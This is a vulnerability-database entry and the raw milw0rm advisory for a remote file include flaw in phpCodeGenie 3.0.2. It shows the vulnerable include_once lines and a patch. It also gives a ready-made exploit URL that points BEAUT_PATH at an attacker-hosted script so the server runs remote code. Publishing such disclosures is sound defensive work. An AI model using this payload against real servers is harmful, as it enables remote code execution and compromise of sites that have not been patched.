header-logo
Suggest Exploit
vendor:
phpCodeGenie
by:
Kacper (a.k.a Rahim)
8,8
CVSS
HIGH
Remote File Include
98
CWE
Product Name: phpCodeGenie
Affected Version From: 3.0.2 and prior
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: a:phpcodegenie:phpcodegenie
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

phpCodeGenie <= 3.0.2 (BEAUT_PATH) Remote File Include Vulnerability

A remote file include vulnerability exists in phpCodeGenie version 3.0.2 and prior. The vulnerability is due to the BEAUT_PATH parameter in the Core.php script not being properly sanitized before being used in an include_once() function call. This can be exploited to include arbitrary files from remote hosts.

Mitigation:

Upgrade to the latest version of phpCodeGenie.
Source

Exploit-DB raw data:

/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- phpCodeGenie <= 3.0.2 (BEAUT_PATH) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: phpCodeGenie v. 3.0.2
- [Script site: http://sourceforge.net/projects/phpcodegenie/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
+++++++++++++++++++++START+++++++++++++++++++++++
vulnerable code => app/common/lib/codeBeautifier/Beautifier/Core.php
line 20-25:
....

include_once($BEAUT_PATH."/Beautifier/HFile.php");
include_once($BEAUT_PATH."/Beautifier/Context.php");

class Core
{
....
+++++++++++++++++++++++++++++++++++++++++++++++++
*/
/*
+++++++++++++++++++++FIX+++++++++++++++++++++++++
app/common/lib/codeBeautifier/Beautifier/Core.php line 20-25:
....
$BEAUT_PATH = LIB_COMPONENT.FILE_SEPARATOR."codeBeautifier";
include_once($BEAUT_PATH."/Beautifier/HFile.php");
include_once($BEAUT_PATH."/Beautifier/Context.php");

class Core
{
....
++++++++++++++++++++THE+END++++++++++++++++++++++
*/
#Exploit:

http://www.site.com/[phpCodeGenie_path]/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=[http://www.myevilsite.com/evil_scripts.txt]


# milw0rm.com [2006-08-18]